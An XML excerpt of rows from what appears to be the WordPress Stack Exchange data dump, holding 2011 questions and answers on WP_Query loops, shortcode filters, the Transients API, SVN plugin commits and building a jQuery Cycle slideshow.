  <row Id="13809" PostTypeId="2" ParentId="13803" CreationDate="2011-04-03T12:58:14.430" Score="2" ViewCount="" Body="&lt;p&gt;I would suggest a totally different syntactic approach: instead of echoing HTML from PHP, insert PHP calculated values inside HTML. This makes the code more organized and readable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $newsposts = new WP_Query('cat=restaurant'); ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( is_front_page()): ?&amp;gt;&#xA;&amp;lt;h3 class=&quot;member-review&quot;&amp;gt;Latest Restaurants&amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;extra&quot;&amp;gt;&#xA;    &amp;lt;?php if ($newsposts-&amp;gt;have_posts()): ?&amp;gt;&#xA;        &amp;lt;?php while ($newsposts-&amp;gt;have_posts()) : $newsposts-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;reslogo&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo catch_that_image() ?&amp;gt;&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;';    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: I don't know if this code is correct, I just updated the syntax.&lt;/p&gt;&#xA;" OwnerUserId="745" LastActivityDate="2011-04-03T12:58:14.430" CommentCount="1" />
  <row Id="13810" PostTypeId="1" AcceptedAnswerId="13813" CreationDate="2011-04-03T13:29:18.340" Score="0" ViewCount="141" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode('[mingleforum]'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inserts the mingle forum into my content!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is it possible to use add_filter() on that?&lt;/p&gt;&#xA;" OwnerUserId="3529" LastActivityDate="2011-04-03T14:54:47.940" Title="adding a filter to a shortcode?" Tags="&lt;php&gt;&lt;functions&gt;&lt;add-filter&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="13811" PostTypeId="2" ParentId="13798" CreationDate="2011-04-03T14:40:24.210" Score="0" ViewCount="" Body="&lt;p&gt;I found this weird, but actually calling &lt;code&gt;the_content()&lt;/code&gt; will insert paragraphs in the manner you describe. If you want the html code, basically like you entered it (the same as &quot;view HTML&quot; when editing), then use &lt;code&gt;get_the_content()&lt;/code&gt; which returns the content without formatting and paragraph tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it returns it, make sure you use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;echo get_the_content();&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_content&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_the_content&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4400" LastActivityDate="2011-04-03T14:40:24.210" CommentCount="3" />
  <row Id="13812" PostTypeId="2" ParentId="13764" CreationDate="2011-04-03T14:46:50.567" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried using &lt;code&gt;wp_reset_query();&lt;/code&gt; after your custom query as described at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts&lt;/a&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="4400" LastActivityDate="2011-04-03T14:46:50.567" CommentCount="1" />
  <row Id="13813" PostTypeId="2" ParentId="13810" CreationDate="2011-04-03T14:54:47.940" Score="1" ViewCount="" Body="&lt;p&gt;You can change your code to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$shortcode = do_shortcode('[mingleforum]');&#xA;echo apply_filters('my_new_filter',$shortcode);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then you can interact with that filter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('my_new_filter','my_new_filter_callback');&#xA;&#xA;function my_new_filter_callback($shortcode){&#xA;    //to stuff here&#xA;    return $shortcode;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-03T14:54:47.940" />
  <row Id="13814" PostTypeId="1" AcceptedAnswerId="13815" CreationDate="2011-04-03T15:51:50.903" Score="0" ViewCount="67" Body="&lt;p&gt;How does one go about locking down transient API requests for multiple threading? Has anything done some benchmarking, just how much can the transient API handle for multiple concurrent requests? It seems like it might cause some severe bottlenecks if not managed properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also how would one go about forcing the transient API using WP's built in cron? For instance I have a transient firing on page load that I gather statistics from ( another seperate function) but if a page isn't visited then the transient is not updated, how would you loop through all the pages/posts using transient API to force an update?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cron might also be effective in dealing with my first question to avoid multiple threading, too many requests and performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been wondering about this and recently a core dev alluded to it on a blog post,  the Transient API is so simple to use but seems to lack some documentation for advanced management.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insights would be really appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-03T16:17:05.170" Title="Any insights into Transient API locking, cron and threading?" Tags="&lt;cron&gt;&lt;transient&gt;&lt;threading&gt;" AnswerCount="1" />
  <row Id="13815" PostTypeId="2" ParentId="13814" CreationDate="2011-04-03T16:17:05.170" Score="3" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How does one go about locking down transient API requests for multiple threading? Has anything done some benchmarking, just how much can the transient API handle for multiple concurrent requests?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Under normal circumstances Transients API is essentially thin wrapper on top of Options API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference is that (unlike plain options) transients might make use of object cache, if plugin that provides such functionality is installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So answer to this - transients perform as well as your database does, unless you change them to use another type of storage. Then it's as good as that storage.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also how would one go about forcing the transient API using WP's built in cron? For instance I have a transient firing on page load that I gather statistics from ( another seperate function) but if a page isn't visited then the transient is not updated, how would you loop through all the pages/posts using transient API to force an update?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am not sure what you mean here. Transients are merely storage mechanism. They are used to store and retrieve [expiring] data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything other than that you will need to implement in your own code.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-03T16:17:05.170" CommentCount="3" />
  <row Id="13816" PostTypeId="1" CreationDate="2011-04-03T16:37:55.263" Score="0" ViewCount="160" Body="&lt;p&gt;I need to call this bit of PHP when a file is uploaded, deleted or edited. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$output = shell_exec(&quot;bash ./upload.sh&quot;); &#xA;echo $output;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find the right code to execute this when any of the above happen. Examples and help would be greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="4406" LastEditorUserId="4406" LastEditorDisplayName="" LastEditDate="2011-04-04T04:57:41.290" LastActivityDate="2011-04-04T04:57:41.290" Title="Wordpress function when file is uploaded, deleted or edited" Tags="&lt;php&gt;&lt;uploads&gt;&lt;image&gt;" AnswerCount="1" />
  <row Id="13817" PostTypeId="1" AcceptedAnswerId="13829" CreationDate="2011-04-03T17:40:54.083" Score="-1" ViewCount="68" Body="&lt;p&gt;This should be easy. I need to query to display one page in a tab. Just pull one page by one query, but I'm doing something (maybe lots) wrong here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Hah. I forgot the_content. Works now.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$the_query = new WP_Query; $the_query-&amp;gt;query ('pagename=about' );&#xA;&#xA;while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php the_content(); ?&amp;gt;  //forgot this&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-04-03T18:39:03.637" LastActivityDate="2011-04-03T20:46:16.413" Title="Why doesn't this page query work?" Tags="&lt;query-posts&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="13818" PostTypeId="2" ParentId="13817" CreationDate="2011-04-03T17:50:30.617" Score="0" ViewCount="" Body="&lt;p&gt;Shouldn't this be &lt;code&gt;$the_query = new WP_Query('pagename=about');&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-03T17:50:30.617" CommentCount="2" />
  <row Id="13819" PostTypeId="2" ParentId="13792" CreationDate="2011-04-03T18:00:30.580" Score="1" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;Wordpress just adds a new entry, the title is not unique, but there is a field guid which is. Permalinks do get an incremental number.&lt;/li&gt;&#xA;&lt;li&gt;Yes, you should remove it from your theme, you'd better write your own plugin for this kind of stuff.&lt;/li&gt;&#xA;&lt;li&gt;I don't totally understand what you mean, is there no menu entry in the admin? That's because it's not a plugin. Does it not show up in the theme editor? Then the file probably doesn't have an appropiate header, is not in the correct place or not correctly named.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2356" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-03T22:20:19.867" LastActivityDate="2011-04-03T22:20:19.867" />
  <row Id="13821" PostTypeId="1" AcceptedAnswerId="13924" CreationDate="2011-04-03T18:17:17.827" Score="3" ViewCount="112" Body="&lt;p&gt;I have several virtual hosts setup, three of them pull files via SVN when needed(though only the trunk folder actually &lt;strong&gt;needs&lt;/strong&gt; this), using SVN for other versions make for easy patch creation, or easy file replacement if i hack a core file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/zlOLa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is whether i can checkin a plugin from directly inside the plugins directory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So take this plugin located in &lt;code&gt;wp-content/plugins/post-ui-tabs&lt;/code&gt; for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/xRx0t.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can i use that folder to house my WordPress.org plugin or does my plugin's folder need to mimic the directory structure of the SVN, eg..&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;brances/&lt;/li&gt;&#xA;&lt;li&gt;tags/&lt;/li&gt;&#xA;&lt;li&gt;trunk/&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the feedback guys! All helpful in getting to understand local vs remote directory structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got my plugin up in the repo now, see here.&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/put/&quot; rel=&quot;nofollow&quot;&gt;Post UI Tabs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Direct answer to my question, was Yes, i can do commits directly from my plugins folder, i simply have a typical local structure of &lt;code&gt;wp-content/plugins/myplugin&lt;/code&gt; which is just a checkout of &lt;code&gt;http://svn.wp-plugins.org/myplugin/trunk&lt;/code&gt;. I commit directly to trunk, then when i want to push a new version, i branch onto a tag(do that directly in Tortoise) and update the readme.txt stable tag to reference the new tag, ie. the operation creates the remote &lt;code&gt;http://svn.wp-plugins.org/myplugin/tag/VER&lt;/code&gt; with all my files, and makes that available to uses, whilst my local working copy remains on trunk(i'll blog about it in the future when i've had more practice).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easier then i thought!... thanks for all the advice guys.. all valuable pieces of information, Andy i felt your answer helped the most, so i'm giving you the accept, everyone else i still really appreciate your help, unfortunately i can only accept one answer... but thank you all the same.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-11T13:27:12.007" LastActivityDate="2011-04-11T13:27:12.007" Title="Can i do plugin commits directly from a plugin folder inside an installation using the Trunk SVN" Tags="&lt;plugin-development&gt;&lt;repository&gt;&lt;svn&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" />
  <row Id="13822" PostTypeId="1" AcceptedAnswerId="13843" CreationDate="2011-04-03T18:44:47.797" Score="0" ViewCount="100" Body="&lt;p&gt;I think my audience is more capable of answers each others' questions than I am.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a system for them to do that and I'd like it to integrate with WP so I could use their existing usernames and accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know of a good solution?&lt;/p&gt;&#xA;" OwnerUserId="2115" LastActivityDate="2011-05-04T10:21:45.463" Title="Is there a good Q&amp;A platform to integrate into WordPress?" Tags="&lt;community&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="13823" PostTypeId="2" ParentId="13821" CreationDate="2011-04-03T19:33:16.670" Score="2" ViewCount="" Body="&lt;p&gt;Disclaimer - I am also beginner with SVN.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Should be. I am using similar setup, just with WP checked out not from official repository.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are externals what i'm looking for?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nope. Externals are links between repositories. WP plugin repository ignores them for packaging downloads (so they are useless with it). And as I understand you are not going to need your plugin in multiple repositories.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can i have an plugin repo inside an SVN'ed folder?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The folders are &quot;SVNed&quot; individually. Every folder has its own SVN meta info and there is no obligation for sub-folders to belong to one SVN with tree root. Just be attentive so that new files are added to repository they should be and such.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;or does my plugin's folder need to mimic the directory structure of the SVN, eg..&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nope. You just commit your folder to trunk, then tag/branch trunk into tagged version when you have new release. That is of course if you don't need to retain older version of plugin on local computer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I wish this were a simple case of reading the manual, but SVN does seem more geared toward non-windows users, and i'm struggling to find relevant info on anything that isn't clear.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I recently asked this question &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12653/any-guides-on-using-wp-svn-with-ide-clients/12707#12707&quot;&gt;Any guides on using WP SVN with IDE clients?&lt;/a&gt; and from answers and poking around best manual type of thing that I found is documentation that comes with TortoiseSVN. It is for Windows and exactly for people who are not very much into command line SVN commands.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-04T16:18:20.390" LastActivityDate="2011-04-04T16:18:20.390" CommentCount="0" />
  <row Id="13824" PostTypeId="2" ParentId="13789" CreationDate="2011-04-03T19:43:39.243" Score="5" ViewCount="" Body="&lt;h2&gt;jQuery &lt;a href=&quot;http://jquery.malsup.com/cycle/&quot; rel=&quot;nofollow&quot;&gt;Cycle&lt;/a&gt; and &lt;a href=&quot;http://jquery.malsup.com/cycle/lite/&quot; rel=&quot;nofollow&quot;&gt;Cycle Lite&lt;/a&gt; are very flexible and very easy to use.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Most &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=slideshow&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;WordPress slideshow plugins&lt;/a&gt; either don't do exactly what you need or they try to do everything and are overly complicated with options and features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;The solution&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Build the slideshow feature into your theme template or code your own plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it easy and intuitive for the user I would create a &quot;Featured Content&quot; custom post type that only supports a featured image (thumbnail) and the excerpt if you want to add a caption to each image.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;Register your custom post type&lt;/a&gt; and for the supports argument use:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 'supports' =&amp;gt; array('thumbnail','excerpt',)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Enqueue your scripts in functions.php&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    add_action( 'init', 'c3m_get_the_js' );&#xA;&#xA;    function c3m_get_the_js() {&#xA;    wp_register_script( 'jquery.cycle', get_bloginfo('template_directory'). '/path_to_your_js/jquery.cycle.lite.1.1.min.js', array('jquery'), TRUE);&#xA;    wp_enqueue_script('jquery.cycle' );&#xA;    wp_enqueue_script( 'custom', get_bloginfo('template_directory'). '/path_to_your_js/c3m_functions.js', array('jquery.cycle'), TRUE);&#xA;            }&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Set your &quot;featured image&quot; size in functions.php&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size( 'featured', 747, 285, true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Set up the the template to display your slideshow&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;home-slider&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;cycle-nav&quot;&amp;gt;&#xA;            &amp;lt;a id=&quot;prev2&quot; href=&quot;#&quot;&amp;gt;«Prev&amp;lt;/a&amp;gt; &amp;lt;a id=&quot;next2&quot; href=&quot;#&quot;&amp;gt;Next»&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;ul id=&quot;cycle&quot; class=&quot;pics&quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;                        $i = 1;&#xA;                        global $wp_query;&#xA;                        $custom_query = array(&#xA;                            'post_type' =&amp;gt; 'featured_content',&#xA;                            'posts_per_page' =&amp;gt; -1&#xA;                        );&#xA;                        if ( $custom_query )&#xA;                            query_posts( $custom_query );&#xA;                        $more = 0;&#xA;                    ?&amp;gt;&#xA;            &amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;            &amp;lt;li class=&quot;cycle-item slide-&amp;lt;?php echo $i; ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;                 &amp;lt;?php   the_post_thumbnail('featured'); ?&amp;gt;&#xA;                &amp;lt;div class=&quot;excerpt&quot;&amp;gt;&#xA;                    &amp;lt;?php echo get_the_content('&amp;lt;span class=&quot;more&quot;&amp;gt;more &amp;amp;raquo;&amp;lt;/span&amp;gt;'); //Use this if you want text with your images ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;                        $i++;&#xA;                        endwhile;&#xA;                        endif;&#xA;                    ?&amp;gt;&#xA;                    &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- /home-slider --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Add your jQuery Cycle settings to your custom.js file&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.noConflict();&#xA;jQuery(document).ready(function($) {&#xA;&#xA;&#xA;jQuery('ul#cycle').cycle({&#xA;            timeout: 9000,&#xA;            speed: 1500,&#xA;            delay: 2000,&#xA;            prev:   '#prev2',&#xA;            next:   '#next2'&#xA;        });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Add some css&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     #home-slider {&#xA;width:735px;&#xA;     overflow:hidden;&#xA;     height:280px; &#xA;    float:right; &#xA;    position:relative;&#xA;     margin-right:0; &#xA;    display:inline-block&#xA;}&#xA;&#xA;    a#prev2 {&#xA;position:absolute; &#xA;    width:31px; &#xA;    height:32px; &#xA;    text-indent:-999em; &#xA;    z-index:100; &#xA;    background-position:0 0; &#xA;    background-image:url(images/cycle-nav.png); &#xA;    top:185px; &#xA;    box-shadow:1px 1px 2px rgba(2,2,2,0.3); &#xA;    -moz-box-shadow:1px 1px 2px rgba(2,2,2,0.3);  &#xA;    -webkit-box-shadow:1px 1px 2px rgba(2,2,2,0.3)&#xA;    }&#xA;&#xA;    a#prev2:hover {&#xA;    background-position:0px -32px&#xA;    }&#xA;&#xA;     a#next2 {&#xA;    position:absolute; &#xA;    right:0px; &#xA;    width:31px; &#xA;    height:31px; &#xA;    display:block; &#xA;    z-index:100; &#xA;    top:185px; &#xA;    background-position:31px 0px; &#xA;    background-image:url(images/cycle-nav.png); &#xA;    overflow:hidden; &#xA;    text-indent:-999em; &#xA;    box-shadow:1px 1px 2px rgba(2,2,2,.3);  &#xA;    -moz-box-shadow:1px 1px 2px rgba(2,2,2,0.3);  &#xA;    -webkit-box-shadow:1px 1px 2px rgba(2,2,2,0.3)&#xA;    }&#xA;&#xA;     a#next2:hover {&#xA;    background-position:31px -32px&#xA;    }&#xA;&#xA;    ul#cycle { &#xA;    margin:0;  &#xA;    padding:0;  &#xA;    list-style:none&#xA;    }&#xA;&#xA;    ul#cycle .excerpt {&#xA;    width:700px; &#xA;    height:82px;&#xA;    background: rgb(0, 0, 0); &#xA;    background:rgba(0,0,0,.5); &#xA;    position:absolute; bottom:0;&#xA;    padding:10px 20px 10px 25px; &#xA;    overflow:hidden&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;The UI&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/AnJ9v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The Slider on the front end&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ooRcF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-03T19:49:44.123" LastActivityDate="2011-04-03T19:49:44.123" CommentCount="1" />
  <row Id="13825" PostTypeId="2" ParentId="13560" CreationDate="2011-04-03T19:51:23.090" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;  $posts = get_posts(array(&#xA;                'post_type' =&amp;gt; 'attachment',&#xA;                'numberposts' =&amp;gt; -1,&#xA;            ));&#xA;&#xA;    // Recursive String Replace - recursive_array_replace(mixed, mixed, array);&#xA;    function recursive_array_replace($find, $replace, $array){&#xA;    if (!is_array($array)) {&#xA;    return str_replace($find, $replace, $array);&#xA;    }&#xA;    $newArray = array();&#xA;    foreach ($array as $key =&amp;gt; $value) {&#xA;    $newArray[$key] = recursive_array_replace($find, $replace, $value);&#xA;    }&#xA;    return $newArray;&#xA;    }&#xA;&#xA;    foreach ($posts as $post) {&#xA;        // retrieve data, unserialized automatically&#xA;        $meta = get_post_meta($post-&amp;gt;ID, '_wp_attachment_metadata', true);&#xA;        // see if file name has &quot;%&quot; in it&#xA;        if (strpos($meta[file], &quot;%&quot;)) {&#xA;        //recursively scrub &quot;%&quot;&#xA;        $meta = recursive_array_replace('%', '', $meta);&#xA;        }&#xA;&#xA;        // write it back&#xA;        update_post_meta($post-&amp;gt;ID, '_wp_attachment_metadata', $meta);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-04-03T19:51:23.090" />
  <row Id="13826" PostTypeId="1" CreationDate="2011-04-03T20:02:21.103" Score="1" ViewCount="155" Body="&lt;p&gt;I use paged and threaded comments with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;10 comments per page&lt;/li&gt;&#xA;&lt;li&gt;the last comment page first&lt;/li&gt;&#xA;&lt;li&gt;the newest comments first&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If there are 21 comments total, the first page only contain 1 comment - the newest. How do i get the newest 10 comments always showing on the first page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;I'm using WordPress 3.0.3.&lt;/strike&gt;&#xA;Edit: Upgraded to 3.1, the problem still exists...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Forgot to add the code I'm using. I use a callback for the listed comments, here goes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_comment($comment, $args, $depth) {&#xA;$GLOBALS['comment'] = $comment; ?&amp;gt;&#xA;&amp;lt;li &amp;lt;?php comment_class(); ?&amp;gt; id=&quot;li-comment-&amp;lt;?php comment_ID() ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;comment-&amp;lt;?php comment_ID(); ?&amp;gt;&quot; class=&quot;comment&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php if(function_exists('hkTC_comment_title'))&#xA;            hkTC_comment_title($comment-&amp;gt;comment_ID,'&amp;lt;strong class=&quot;comment-title&quot;&amp;gt;','&amp;lt;/strong&amp;gt;');&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;?php comment_text() ?&amp;gt;&#xA;&#xA;        &amp;lt;span class=&quot;written-by&quot;&amp;gt;&#xA;            Skrivet av:&#xA;            &amp;lt;?php&#xA;            $commentAuthID = get_comment(get_comment_ID())-&amp;gt;user_id;&#xA;            echo the_author_meta('first_name',$commentAuthID).&quot; &quot;;&#xA;            echo the_author_meta('last_name',$commentAuthID);&#xA;            ?&amp;gt;&#xA;            &amp;lt;em&amp;gt;kl. &amp;lt;?php echo get_comment_time('H.i'); ?&amp;gt;, den &amp;lt;?php echo get_comment_date('j F Y'); ?&amp;gt;&amp;lt;/em&amp;gt;&#xA;        &amp;lt;/span&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;reply&quot;&amp;gt;&#xA;            &amp;lt;?php comment_reply_link(array_merge( $args, array('depth' =&amp;gt; $depth, 'max_depth' =&amp;gt; $args['max_depth']))) ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The hkTC_comment_title function is from this plugin that I'm also using:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/hikari-title-comments/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/hikari-title-comments/&lt;/a&gt;&#xA;But that shouldn't mess with the number of comments I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: This is my custom template used to display the page with the comments:&#xA;&lt;a href=&quot;http://123.writeboard.com/4x2m38ifvnkrct7l&quot; rel=&quot;nofollow&quot;&gt;http://123.writeboard.com/4x2m38ifvnkrct7l&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1936" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-06T07:13:42.407" LastActivityDate="2011-04-13T07:43:33.633" Title="Last comment page first with full number of comments?" Tags="&lt;comments&gt;&lt;paged&gt;&lt;threading&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="0" />
  <row Id="13829" PostTypeId="2" ParentId="13817" CreationDate="2011-04-03T20:46:16.413" Score="1" ViewCount="" Body="&lt;p&gt;Hah. I forgot &lt;code&gt;&amp;lt;?php the_content(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-04-03T20:46:16.413" />
